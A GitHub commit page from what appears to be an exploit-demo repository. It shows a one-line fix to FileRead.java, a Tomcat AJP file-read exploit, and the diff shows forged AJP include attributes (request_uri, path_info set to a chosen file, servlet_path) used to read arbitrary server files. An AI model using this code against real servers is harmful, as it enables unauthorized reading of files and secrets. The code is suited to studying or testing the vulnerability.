Skip to content

Commit 1f601a9

Browse files
author
threedr3am
committed
fix:tomcat-ajp exp demo问题
1 parent 6336bad commit 1f601a9

File tree

1 file changed

+1
-1
lines changed
  • tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp

1 file changed

+1
-1
lines changed

tomcat/ajp-bug/src/main/java/com/threedr3am/bug/tomcat/ajp/FileRead.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ public static void main(String[] args) throws IOException {
4848
// create a message that indicates the beginning of the request
4949
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
5050
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
51-
forwardMessage.addAttribute("javax.servlet.include.path_info", args.length == 3 ? args[2] : "/index.jsp");
51+
forwardMessage.addAttribute("javax.servlet.include.path_info", file);
5252
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
5353

5454
forwardMessage.end();

0 commit comments

Comments
 (0)